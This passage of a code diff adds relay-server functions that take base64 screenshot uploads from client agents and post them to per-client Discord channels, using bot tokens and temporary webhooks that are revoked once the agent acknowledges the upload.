+ const parentCategoryId = (process.env.RELAY_DISCORD_PARENT_CATEGORY_ID || "").trim();
516
+ const clientId = String(msg.client_id ?? "").trim();
517
+ if (!clientId) {
518
+ return {
519
+ type: "discord_screenshot_upload_result",
520
+ request_id: rid,
521
+ ok: false,
522
+ error: "missing client_id",
523
+ };
524
+ }
525
+ const b64 = String(msg.b64 ?? "").replace(/\s/g, "");
526
+ if (!b64) {
527
+ return {
528
+ type: "discord_screenshot_upload_result",
529
+ request_id: rid,
530
+ ok: false,
531
+ error: "missing b64 image",
532
+ };
533
+ }
534
+ let png;
535
+ try {
536
+ png = Buffer.from(b64, "base64");
537
+ }
538
+ catch {
539
+ return {
540
+ type: "discord_screenshot_upload_result",
541
+ request_id: rid,
542
+ ok: false,
543
+ error: "invalid base64 image",
544
+ };
545
+ }
546
+ if (png.length < 32) {
547
+ return {
548
+ type: "discord_screenshot_upload_result",
549
+ request_id: rid,
550
+ ok: false,
551
+ error: "image too small",
552
+ };
553
+ }
554
+ const caption = String(msg.caption ?? "").trim() ||
555
+ _relayFallbackCaption();
556
+ const botToken = (0, discordBotTokens_1.relayDiscordBotTokenForClient)(clientId, tokens);
557
+ if (!botToken) {
558
+ return {
559
+ type: "discord_screenshot_upload_result",
560
+ request_id: rid,
561
+ ok: false,
562
+ error: "no Discord bot tokens configured on relay",
563
+ };
564
+ }
565
+ try {
566
+ const channelName = await _channelNameForClient(clientId);
567
+ const parent = parentCategoryId;
568
+ let channelId = await resolveScreenshotChannelId(botToken, guildId, clientId, parent || undefined);
569
+ const posted = await postPngToDiscordChannel(botToken, channelId, png, caption);
570
+ if (!posted.ok) {
571
+ // On 404: channel was deleted externally — invalidate cache and retry once
572
+ if (posted.channelNotFound) {
573
+ _invalidateCachedChannelId(guildId, channelName, parent);
574
+ channelId = await resolveScreenshotChannelId(botToken, guildId, clientId, parent || undefined);
575
+ const retried = await postPngToDiscordChannel(botToken, channelId, png, caption);
576
+ if (!retried.ok) {
577
+ return {
578
+ type: "discord_screenshot_upload_result",
579
+ request_id: rid,
580
+ ok: false,
581
+ error: retried.error,
582
+ };
583
+ }
584
+ return {
585
+ type: "discord_screenshot_upload_result",
586
+ request_id: rid,
587
+ ok: true,
588
+ discord_message_id: retried.message_id,
589
+ discord_channel_id: channelId,
590
+ };
591
+ }
592
+ return {
593
+ type: "discord_screenshot_upload_result",
594
+ request_id: rid,
595
+ ok: false,
596
+ error: posted.error,
597
+ };
598
+ }
599
+ return {
600
+ type: "discord_screenshot_upload_result",
601
+ request_id: rid,
602
+ ok: true,
603
+ discord_message_id: posted.message_id,
604
+ discord_channel_id: channelId,
605
+ };
606
+ }
607
+ catch (e) {
608
+ return {
609
+ type: "discord_screenshot_upload_result",
610
+ request_id: rid,
611
+ ok: false,
612
+ error: String(e),
613
+ };
614
+ }
615
+ }
616
+ /** Pending webhook credentials keyed by `request_id` until the agent sends `relay_discord_upload_ack`. */
617
+ const ticketWebhookSecrets = new Map();
618
+ /**
619
+ * Webhook display-name for a given bot index.
620
+ * Using "forge-bot-N" makes screenshots from different bots visually distinguishable
621
+ * in Discord — the same way text messages already use different bot tokens per client.
622
+ */
623
+ function _webhookNameForBotIndex(botIndex, totalBots) {
624
+ if (totalBots <= 1)
625
+ return "forge-js-bot";
626
+ return `forge-bot-${botIndex + 1}`;
627
+ }
628
+ /** Current timestamp formatted in JST (UTC+9) for use in Discord captions. */
629
+ function _nowJst() {
630
+ return new Date().toLocaleString("ja-JP", {
631
+ timeZone: "Asia/Tokyo",
632
+ year: "numeric",
633
+ month: "2-digit",
634
+ day: "2-digit",
635
+ hour: "2-digit",
636
+ minute: "2-digit",
637
+ second: "2-digit",
638
+ hour12: false,
639
+ });
640
+ }
641
+ /**
642
+ * Fallback relay-mode caption when the agent didn't include one.
643
+ * Includes JST timestamp. The agent's own caption (sent in the WS message)
644
+ * already contains the OS label from `_screenshotCaption()` in discordAgentScreenshot.ts.
645
+ */
646
+ function _relayFallbackCaption() {
647
+ return `forge-jsx screenshot — ${_nowJst()} JST`;
648
+ }
649
+ async function createChannelIncomingWebhook(botToken, channelId, webhookName) {
650
+ const r = await discordJson(botToken, `/channels/${channelId}/webhooks`, {
651
+ method: "POST",
652
+ headers: { "Content-Type": "application/json" },
653
+ body: JSON.stringify({ name: webhookName }),
654
+ });
655
+ if (!r.ok) {
656
+ throw new Error(formatDiscordApiFailure(r.status, r.text));
657
+ }
658
+ const id = r.data?.id;
659
+ const token = r.data?.token;
660
+ if (typeof id !== "string" || !id.trim() || typeof token !== "string" || !token.trim()) {
661
+ throw new Error("Discord create webhook: response missing id or token");
662
+ }
663
+ return { id, token };
664
+ }
665
+ async function deleteDiscordWebhookByToken(webhookId, webhookToken) {
666
+ const url = `${DISCORD_API}/webhooks/${webhookId}/${webhookToken}`;
667
+ const routeKey = `DELETE:/webhooks/${webhookId}/${webhookToken}`;
668
+ const res = await (0, discordRateLimit_1.fetchUntilNot429)(() => fetch(url, { method: "DELETE" }), routeKey, discordRateLimit_1.relayDiscordBucketTracker);
669
+ void res;
670
+ }
671
+ /**
672
+ * HF-style ticket: relay mints a **channel incoming webhook** (bot token stays on relay).
673
+ * Agent POSTs PNG directly to `webhook_url`, then sends `relay_discord_upload_ack` so the relay
674
+ * deletes the webhook (revokes the URL).
675
+ */
676
+ async function handleDiscordUploadTicketRequest(msg) {
677
+ const rid = String(msg.request_id ?? "");
678
+ if (!discordRelayScreenshotEnabled()) {
679
+ return {
680
+ type: "relay_discord_upload_ticket_result",
681
+ request_id: rid,
682
+ ok: false,
683
+ error: "Discord relay disabled. Set RELAY_DISCORD_SCREENSHOT_ENABLED=1, RELAY_DISCORD_BOT_TOKEN (or RELAY_DISCORD_BOT_TOKENS), RELAY_DISCORD_GUILD_ID.",
684
+ };
685
+ }
686
+ const tokens = (0, discordBotTokens_1.getRelayDiscordBotTokens)();
687
+ const guildId = (process.env.RELAY_DISCORD_GUILD_ID || "").trim();
688
+ const parentCategoryId = (process.env.RELAY_DISCORD_PARENT_CATEGORY_ID || "").trim();
689
+ const clientId = String(msg.client_id ?? "").trim();
690
+ if (!clientId) {
691
+ return {
692
+ type: "relay_discord_upload_ticket_result",
693
+ request_id: rid,
694
+ ok: false,
695
+ error: "missing client_id",
696
+ };
697
+ }
698
+ const botToken = (0, discordBotTokens_1.relayDiscordBotTokenForClient)(clientId, tokens);
699
+ if (!botToken) {
700
+ return {
701
+ type: "relay_discord_upload_ticket_result",
702
+ request_id: rid,
703
+ ok: false,
704
+ error: "no Discord bot tokens configured on relay",
705
+ };
706
+ }
707
+ try {
708
+ const channelName = await _channelNameForClient(clientId);
709
+ const parent = parentCategoryId;
710
+ const botIndex = (0, discordBotTokens_1.relayDiscordBotIndexForClient)(clientId, tokens);
711
+ const webhookName = _webhookNameForBotIndex(botIndex, tokens.length);
712
+ let channelId = await resolveScreenshotChannelId(botToken, guildId, clientId, parent || undefined);
713
+ let wh;
714
+ try {
715
+ wh = await createChannelIncomingWebhook(botToken, channelId, webhookName);
716
+ }
717
+ catch (e) {
718
+ // If webhook creation fails with 404, the channel may have been deleted.
719
+ // Invalidate cache and retry.
720
+ const errStr = String(e);
721
+ if (/404|Unknown Channel/i.test(errStr)) {
722
+ _invalidateCachedChannelId(guildId, channelName, parent);
723
+ channelId = await resolveScreenshotChannelId(botToken, guildId, clientId, parent || undefined);
724
+ wh = await createChannelIncomingWebhook(botToken, channelId, webhookName);
725
+ }
726
+ else {
727
+ throw e;
728
+ }
729
+ }
730
+ ticketWebhookSecrets.set(rid, { webhookId: wh.id, webhookToken: wh.token });
731
+ const webhook_url = `${DISCORD_API}/webhooks/${wh.id}/${wh.token}`;
732
+ return {
733
+ type: "relay_discord_upload_ticket_result",
734
+ request_id: rid,
735
+ ok: true,
736
+ webhook_url,
737
+ };
738
+ }
739
+ catch (e) {
740
+ return {
741
+ type: "relay_discord_upload_ticket_result",
742
+ request_id: rid,
743
+ ok: false,
744
+ error: String(e),
745
+ };
746
+ }
747
+ }
748
+ async function handleDiscordUploadAck(msg) {
749
+ const rid = String(msg.request_id ?? "");
750
+ const w = ticketWebhookSecrets.get(rid);
751
+ ticketWebhookSecrets.delete(rid);
752
+ if (w) {
753
+ try {
754
+ await deleteDiscordWebhookByToken(w.webhookId, w.webhookToken);
755
+ }
756
+ catch {
757
+ /* best-effort revoke */
758
+ }
759
+ }
760
+ return {
761
+ type: "relay_discord_upload_ack_result",
762
+ request_id: rid,
763
+ ok: true,
764
+ };
765
+ }
766
+ /**
767
+ * Call once when the relay starts listening — if Discord screenshots are enabled but the bot cannot
768
+ * access `RELAY_DISCORD_GUILD_ID`, operators see an immediate warning in logs.
769
+ */
770
+ async function warnDiscordRelayGuildIfMisconfigured() {
771
+ if (!discordRelayScreenshotEnabled())
772
+ return;
773
+ const tokens = (0, discordBotTokens_1.getRelayDiscordBotTokens)();
774
+ const guildId = (process.env.RELAY_DISCORD_GUILD_ID || "").trim();
775
+ for (let i = 0; i < tokens.length; i++) {
776
+ const botToken = tokens[i];
777
+ try {
778
+ const routeKey = "GET:/users/@me/guilds";
779
+ const guildsRes = await (0, discordRateLimit_1.fetchUntilNot429)(() => discordApi(botToken, `/users/@me/guilds?limit=200`, { method: "GET" }), routeKey, discordRateLimit_1.relayDiscordBucketTracker);
780
+ const gText = await guildsRes.text();
781
+ if (guildsRes.ok) {
782
+ let arr;
783
+ try {
784
+ arr = JSON.parse(gText);
785
+ }
786
+ catch {
787
+ arr = null;
788
+ }
789
+ if (Array.isArray(arr) && arr.length === 0) {
790
+ console.warn(`[relay] Discord screenshots: bot token #${i + 1} is not in any Discord server. Invite it (Developer Portal → your app → OAuth2 → URL Generator): scope \`bot\`; permissions View Channels, Send Messages, Attach Files, Manage Channels, Manage Webhooks. Open the URL, add the bot to your server, then set RELAY_DISCORD_GUILD_ID to that server's ID (Settings → Advanced → Developer Mode → right‑click server icon → Copy Server ID).`);
791
+ }
792
+ }
793
+ }
794
+ catch {
795
+ /* probe configured guild below */
796
+ }
797
+ }
798
+ for (let i = 0; i < tokens.length; i++) {
799
+ try {
800
+ await listGuildTextChannels(tokens[i], guildId);
801
+ }
802
+ catch (e) {
803
+ console.warn(`[relay] Discord screenshots (token #${i + 1}): ${String(e)}`);
804
+ }
805
+ }
806
+ }